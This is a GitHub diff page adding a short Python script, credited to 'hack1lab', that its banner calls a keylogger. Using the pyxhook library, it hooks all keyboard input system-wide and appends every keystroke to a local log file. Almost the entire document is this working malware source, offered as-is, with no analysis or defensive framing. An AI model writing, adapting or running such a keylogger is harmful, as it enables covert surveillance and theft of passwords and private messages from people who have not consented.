File tree Expand file tree Collapse file tree 1 file changed +43
-0
lines changed Expand file tree Collapse file tree 1 file changed +43
-0
lines changed Original file line number Diff line number Diff line change
1
+ #!/usr/bin/env python
2
+
3
+ import pyxhook
4
+
5
+
6
+ """
7
+ *--------------------------------------*
8
+ | programmed by : mohamed |
9
+ | fb.me/hack1lab |
10
+ *--------------------------------------*
11
+ _ _ _ _
12
+ | |__ __ _ ___| | _| | __ _| |__
13
+ | '_ \ / _` |/ __| |/ / |/ _` | '_ \
14
+ | | | | (_| | (__| <| | (_| | |_) |
15
+ |_| |_|\__,_|\___|_|\_\_|\__,_|_.__/
16
+
17
+ Keylogger
18
+ -----------
19
+
20
+ """
21
+
22
+
23
+
24
+ log_file = '/home/pen-test/txt_files/file.log'
25
+
26
+ def keypress (event ):
27
+ log = open (log_file ,'a' )
28
+ if event .Key == 'space' :
29
+ log .write (' ' )
30
+ elif event .Key == 'Return' :
31
+ log .write ('\n ' )
32
+ elif len (event .Key ) != 1 :
33
+ log .write ('[ ' + event .Key + ' ]' )
34
+ else :
35
+ log .write (event .Key )
36
+
37
+ key = pyxhook .HookManager ()
38
+
39
+ key .KeyDown = keypress
40
+
41
+ key .HookKeyboard ()
42
+
43
+ key .start ()
You can’t perform that action at this time.
0 commit comments